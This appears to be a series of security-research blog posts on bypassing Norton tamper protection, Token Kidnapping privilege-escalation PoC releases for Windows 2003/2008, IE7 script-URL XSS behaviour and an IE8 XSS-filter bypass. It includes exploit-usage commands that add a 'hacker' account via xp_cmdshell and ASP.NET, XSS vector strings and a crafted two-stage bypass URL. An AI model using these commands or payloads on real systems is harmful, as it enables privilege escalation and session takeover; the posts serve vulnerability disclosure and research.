Bypassing Norton Antivirus "Product Tamper Protection"

What's Norton Product Tamper Protection? It's a security setting on Norton Antivirus that "Lets you protect your Norton product from an attack or modification by unknown, suspicious, or threatening applications", the option is enabled by default. Basically it protects NAV processes so other processes can't access them (debug, inject code, modify thread execution, etc.), it doesn't matter that current user has permission on them he won't be able to access Norton Antivirus processes.

Without doing much research I guess NAV intercepts Native API calls and return access denied when trying to open a NAV process or thread with dangerous access options. The problem is that NAV forgot to also protect other process objects such as shared sections, LPC ports, etc., so an attacker can put code in a shared section and then make the process jump to the injected code, lets see how to do it.

Injecting and running code on NAV GUI process:
When pressing F1 or accessing NAV GUI help, Windows HTML Help is loaded, NAV GUI process uses HTML Help ActiveX so no new process is created. When the HTML Help is loaded a shared section named \BaseNamedObjects\DfSharedHeapXXXXXX (where XXXXXX are hex numbers) is created, this particular shared section is related with a vulnerability I found long time ago (http://www.argeniss.com/research/SSExploit.c) where besides the shared section being created on user process it was also created in a privileged process under certain circumstances, this shared section has pointers saved so it was possible to overwrite them and make the process to execute arbitrary code elevating privileges (http://www.argeniss.com/research/hackwininter.zip). Microsoft fixed this issue (http://www.microsoft.com/technet/security/bulletin/MS05-012.mspx) by avoiding the creation of the shared section on privileged processes, so there isn't elevation of privileges anymore but you still can overwrite the data in the shared section of course you will only be able to execute code in a process you already own, but in this case this issue can be used to bypass NAV process protection since you will be able to modify NAV GUI process and run arbitrary code inside it.

This is not big deal but it shows that sometimes some protections are useless when they are not properly audited and a simple and known issue can be used to bypass them.

Enjoy.

Token Kidnapping Windows 2008 PoC exploit

Now it's time for Windows 2008 exploit (it should work on Windows 2003 too)
You will see that the super secure IIS 7 can be owned, too weak by default :)

You can find the PoC exploit here http://www.argeniss.com/research/Churrasco2.zip
Enjoy.

Token Kidnapping Windows 2003 PoC exploit

It has been a long time since Token Kidnapping presentation (http://www.argeniss.com/research/TokenKidnapping.pdf) was published so I decided to release a PoC exploit for Win2k3 that alows to execute code under SYSTEM account.

Basically if you can run code under any service in Win2k3 then you can own Windows, this is because Windows services accounts can impersonate.
Other process (not services) that can impersonate are IIS 6 worker processes so if you can run code from an ASP .NET or classic ASP web application then you can own Windows too. If you provide shared hosting services then I would recomend to not allow users to run this kind of code from ASP.


-SQL Server is a nice target for the exploit if you are a DBA and want to own Windows:

exec xp_cmdshell 'churrasco "net user /add hacker"'


-Exploiting IIS 6 with ASP .NET :
...
System.Diagnostics.Process myP = new System.Diagnostics.Process();
myP.StartInfo.RedirectStandardOutput = true;
myP.StartInfo.FileName=Server.MapPath("churrasco.exe");
myP.StartInfo.UseShellExecute = false;
myP.StartInfo.Arguments= " \"net user /add hacker\" ";
myP.Start();
string output = myP.StandardOutput.ReadToEnd();
Response.Write(output);
...


You can find the PoC exploit here http://www.argeniss.com/research/Churrasco.zip

Enjoy.

Something that's gone, it's not "really" gone (II)

It seems I haven't been very clear in my previous post.

I was wrong at saying that: "Actually those kind of URLs (javascript: and vbscript:) continue executing normally when you load the web page in a new tab, new window, in a Frame and in an IFrame." What I was trying to say is that Script URLs can still be used to exploit XSS(that's why I listed those XSS strings) when you load the web page in a new tab, new window, in a Frame and in an IFrame. What I missed is that in fact MS did some changes (and a great job) to prevent exploitation of some vulnerabilities such as http://raffon.net/research/ms/ie/crossdomain/string.html , this PoC doesn't work on IE7 and IE8 because Script URLs don't get executed in that context, this prevents some cross domain bugs or make them harder to exploit.

But Script URLs can still be used to exploit XSS, they weren't complete disabled/removed in IE7 and IE8, RSnake XSS cheat sheet http://ha.ckers.org/xss.html has to be updated :) and there is no XSS mitigation related to Script URLs (http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx ) since they still work when exploiting XSS.

Alex was very kind to set up a PoC http://kuza55.awardspace.com/jsuri.html that's shows that you can still get script code executing by using Script URLs.

Thanks to David Ross comments pointing out scenarios were Script URLs are not executed.

Something that's gone, it's not "really" gone

If you look at RSnake XSS cheat sheet http://ha.ckers.org/xss.html you will notice that the following:

<IMG SRC="javascript:alert('XSS')"
<IMG SRC=javascript:alert(&quot;XSS1&quot;)>
<IMG SRC=`javascript:alert("XSS")`>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83,88))>
<IMG SRC="jav ascript:alert('XSS');">
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">

and many other XSS strings listed on the cheat sheet are not working on IE7, ie: you won't get javascript code executed, in fact MS says that they disabled javascript: and vbscript: URLs from some contexts (http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx)

If you build an HTML page with the above XSS strings you will find out that the script code doesn't get executed when the HTML page is opened with IE7 but it's only true in some basic scenarios. Actually those kind of URLs (javascript: and vbscript:) continue executing normally when you load the web page in a new tab, new window, in a Frame and in an IFrame.

Doing a quick reverse engineering it can be seen that when a web page is loaded in a Frame, IFrame, new window or new tab the execution path is a bit different in IE than when you simple load a HTML page. Basically it seems MS forgot to patch some code paths in this case (not the first time, http://www.argeniss.com/research/MSBugPaper.pdf) so you get a different behaviour in different scenarios. I wonder if other stuff could be bypassed in this way, who knows, it's needed more time to look deeper.

Btw, The same happens in IE8 beta2.

This is not big deal nor a security vulnerability but it shows how difficult could be to completely disable/remove functionality in a complex application such as Microsoft Internet Explorer

IE8 XSS filter

Since IE8 beta2 is out I downloaded and installed it, I wanted to take a look at the brand new XSS filter (See here*1). Basically I wanted to see how good it's at filtering XSS, I tried some tricks and it seems to work fine filtering all known XSS attack vectors, etc. So far very good work of MS people.

After continuing testing the XSS filter I got a bit disappointed.

When exploiting reflected XSS it's needed user interaction, the target user has to browse to a URL, it could be attacker's site that will load a hidden HTML IFrame exploiting the XSS issue without the target user noticing it or the URL could be directly crafted with the XSS attack for the tartget site, both scenarios require user interaction, I call this 1 stage XSS attack since the attack takes place just after the user browses to the URL. This scenario seems to be perfectly handled and filtered by IE8 XSS filter.

What about a 2 stage XSS attack?
A 2 stage XSS attack is when the user has to browse to a second URL after browing the initial URL for the XSS attack to take place, people may think that this attack is compliated and not reliable but it's simple and very realiable and has almost the same success rate as 1 stage XSS attack since people want to get what they were looking when browsing to the first URL they will continue browsing most of the time.

Let's see an example: the target user is supplied with a URL by the attacker, the user browses to this URL and instead of directly exploiting XSS to run code it will be exploited injecting HTML code (no script code no IE8 XSS filtering) to modify the HTML web page adding a link in a way that will persuade the user to click to continue to get what the target user (victim) wanted to get when he first browsed to the URL, after the user clicks a new URL will be opened by IE and this time the XSS attack will take place running code and take over the user session, etc.

You are wondering why a 2 stage XSS attack? well, simple because IE8 XSS filter doesn't filter XSS attacks when browsing from the same site (See here*2). That's it.

Sample:

The following URL won't be filtered by IE8:
http://somesite/test.asp?param=<a href="test.asp?param=<sc%0aript>alert('owned')</script>"><div style="position: absolute; left: 0px; top: 0px; height: 1000px; width: 1000px; padding: 1em;background:black;text-align: center;">click to continue</div></a>

After browsing the above URL and clicking on the web page the following URL will be loaded:
http://somesite/test.asp?param=<script>alert('owned')</script>

because the navigation comes from same domain IE8 won't filter the XSS attack.

Talking about this with kuza55 (http://kuza55.blogspot.com/) he found this same stuff independently and he had the good idea of using CSS overlays (http://www.sirdarckcat.net/asdfg.html) to trick the user into clicking the link.

Conclusion: Currently IE8 XSS filter doesn't provide much more security. IE8 XSS filter should also filter 2 stage XSS attacks. Luckily IE8 is just in beta, it's a long way for the final release version, I'm sure MS will improve it.